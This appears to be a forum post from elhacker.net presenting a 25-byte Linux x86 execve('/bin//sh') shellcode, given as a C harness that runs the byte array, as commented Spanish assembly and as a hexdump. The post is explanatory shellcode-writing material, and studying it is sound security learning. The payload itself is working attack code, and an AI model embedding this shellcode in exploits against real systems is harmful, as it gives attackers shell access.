Foro de elhacker.net

#include <stdio.h>
#include <string.h> 
 
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(int argc, char **argv)
{
	printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
	(*(void(*)()) code)();
	return 0;
}
 
 

BITS 32
					; excve ()
 
	xor eax, eax			; Ponemos EAX a cero para bytes nulos
	push eax			; Metemos los ceros en la pila
	push 0x68732f2f			; Metemos "//sh". La segunda barra no importa. Además alinea.
	push 0x6e69622f			; Metemos "/bin". Alineados en la pila
	mov ebx, esp			; Metemos la direccion en EBX
	push eax			; Mas bytes nulos ...
	mov edx, esp			; ... para el entorno de 3º argumento
	push ebx			; Metemos la direccion de la cadena en la pila
	mov ecx, esp			; Y se la pasamos como direccion
	mov al, 11			; excve = syscall 11
	int 0x80			; Ejecutamos
 

00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  89 e2 53 89 e1 b0 0b cd  80                       |..S......|
00000019

#include <stdio.h>
#include <string.h> 
 
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(int argc, char **argv)
{
	printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
	(*(void(*)()) code)();
	return 0;
}